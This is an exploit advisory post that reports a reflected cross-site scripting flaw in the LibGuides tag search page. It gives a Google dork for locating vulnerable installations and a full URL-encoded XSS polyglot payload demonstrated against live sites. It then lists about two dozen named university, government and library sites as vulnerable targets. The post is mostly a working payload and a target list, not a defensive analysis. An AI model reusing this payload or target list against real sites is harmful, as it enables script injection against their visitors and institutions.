# Exploit Title: LibGuides "tag search" Cross Site Scripting # Date: 6.02.2012 # Author: Sony # Software Link: http://www.springshare.com/libguides/ # Google Dorks: inurl:searchtags.php?iid= or intext:Powered by Springshare # Web Browser : Mozilla Firefox # Blog : http://st2tea.blogspot.com # PoC: http://st2tea.blogspot.com/2012/02/libguides-tag-search-cross-site.html .................................................................. Well, we have xss in tag search: Our xss code: http://codepad.org/LqL68vIQ http://demo.libguides.com/searchtags.php?iid=1&gid=0&tag=[our xss] Demo: http://demo.libguides.com/searchtags.php?iid=1&gid=0&tag=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E http://3.bp.blogspot.com/-XAKGO9fyl9M/Ty_1uQpsQWI/AAAAAAAAAaY/hUyfAjc-jQM/s1600/1a.JPG http://natolibguides.info/searchtags.php?iid=&tag=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E http://3.bp.blogspot.com/-egb8DXmjslE/Ty_11T58uzI/AAAAAAAAAak/g8TK9A238Tc/s1600/1b.JPG A lot of .edu,org,etc.. sites vuln to xss: inurl:searchtags.php?iid= site:edu http://infoguides.gmu.edu/searchtags.php?iid=&tag= http://libguides.sbuniv.edu/searchtags.php?iid=&tag= http://libguides.cabq.gov/searchtags.php?iid=&tag= http://libguides.metro.org/searchtags.php?iid=&tag= http://guides.lib.washington.edu/searchtags.php?iid=&tag= http://libguides.bc.edu/searchtags.php?iid=&tag= http://guides.lib.uchicago.edu/searchtags.php?iid=&tag= http://libguides.unm.edu/searchtags.php?iid=237&tag= http://guides.lib.uiowa.edu/searchtags.php?iid=&tag= http://researchguides.library.wisc.edu/searchtags.php?iid=&tag= http://guides.library.duke.edu/searchtags.php?iid=&tag= http://guides.hcl.harvard.edu/searchtags.php?iid=&tag= http://subjectguides.library.american.edu/searchtags.php?iid=&tag= http://libguides.uwlax.edu/searchtags.php?iid=&tag= http://libguides.sit.edu/searchtags.php?iid=&tag= http://libguides.princeton.edu/searchtags.php?iid=&tag= http://legalresearch.usfca.edu/searchtags.php?iid=&tag= http://libguides.hcc.hawaii.edu/searchtags.php?iid=&tag= http://researchguides.case.edu/searchtags.php?iid=&tag= http://guides.lib.virginia.edu/searchtags.php?iid=&tag= http://guides.library.manoa.hawaii.edu/searchtags.php?iid=&tag= http://libguides.mit.edu/searchtags.php?iid=148&tag= http://libguides.miami.edu/searchtags.php?iid=155&tag= http://libguides.olympic.edu/searchtags.php?iid=&tag= http://libguides.bodleian.ox.ac.uk/searchtags.php?iid=&tag= http://guides.slsa.sa.gov.au/searchtags.php?iid=&tag= .................................................................. InSecurity.Ro Because we care, we're security aware!